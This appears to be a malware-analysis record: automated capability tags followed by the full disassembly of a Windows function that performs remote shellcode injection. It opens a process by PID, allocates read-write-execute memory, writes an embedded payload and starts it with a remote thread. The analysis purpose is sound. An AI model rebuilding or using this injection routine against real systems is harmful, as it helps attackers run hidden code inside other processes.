Function at 0x401550
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call sym.__main
cmp dword [rbp + 0x10], 1
jg 0x40158a
mov rax, qword [0x00403030]
mov rdx, rax
lea rcx, str._s_usage:_program.exe__PID_
call sym.printf
mov eax, 1
jmp 0x40185c
mov rax, qword [rbp + 0x18]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov edx, eax
lea rax, [0x00407990]
mov dword [rax], edx
lea rax, [0x00407990]
mov edx, dword [rax]
mov rax, qword [0x00403028]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_trying_to_open_a_handle_to_process___ld__n
call sym.printf
lea rax, [0x00407990]
mov eax, dword [rax]
mov r8d, eax
mov edx, 0
mov ecx, 0x1f0fff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov rdx, rax
lea rax, [0x00407998]
mov qword [rax], rdx
lea rax, [0x00407998]
mov rdx, qword [rax]
mov rax, qword [0x00403020]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_got_a_handle_to_the_process__n___0x_p_n
call sym.printf
lea rax, [0x00407998]
mov rax, qword [rax]
test rax, rax
jne 0x401662
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ecx, eax
lea rax, [0x00407990]
mov edx, dword [rax]
mov rax, qword [0x00403030]
mov r9d, ecx
mov r8d, edx
mov rdx, rax
lea rcx, str._s_couldnt_get_a_handle_to_the_process___ld___error:__ld
call sym.printf
mov eax, 1
jmp 0x40185c
lea rax, [0x00407998]
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x159
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [0x00407038], rax
mov rax, qword [0x00403020]
mov r8d, 0x159
mov rdx, rax
lea rcx, str._s_allocates__zu_bytes_with_PAGE_EXECUTE_READWRITE_permission_n
call sym.printf
mov rdx, qword [0x00407038]
lea rax, [0x00407998]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
mov r9d, 0x159
lea r8, [0x00403040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [0x00403020]
mov r8d, 0x159
mov rdx, rax
lea rcx, str._s_wrote__zu_bytes_to_process_n
call sym.printf
mov rax, qword [0x00407038]
mov rcx, rax
lea rax, [0x00407998]
mov rax, qword [rax]
lea rdx, [0x00407030]
mov qword [rsp + 0x38], rdx
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThreadEx]
call rax
mov qword [0x00407040], rax
mov rax, qword [0x00407040]
test rax, rax
jne 0x4017ae
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
mov rax, qword [0x00403030]
mov r8d, edx
mov rdx, rax
lea rcx, str._s_failed_to_get_a_handle_to_the_thread__error:__ld
call sym.printf
lea rax, [0x00407998]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x40185c
lea rdx, [0x00407030]
lea rcx, str._ld_wait_for_thread_to_finis_n
call sym.printf
mov rax, qword [0x00407040]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rcx, qword [0x00407040]
mov edx, dword [0x00407030]
mov rax, qword [0x00403020]
mov r9, rcx
mov r8d, edx
mov rdx, rax
lea rcx, str._s_got_a_handle_to_the_thread___ld__n___0x_p_n
call sym.printf
mov rax, qword [0x00403028]
mov rdx, rax
lea rcx, str._s_cleaning_up_n
call sym.printf
mov rax, qword [0x00407040]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [0x00407998]
mov rax, qword [rax]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [0x00403020]
mov rdx, rax
lea rcx, str._s_finished__see_you_bext_time__n
call sym.printf
mov eax, 0
add rsp, 0x40
pop rbp
ret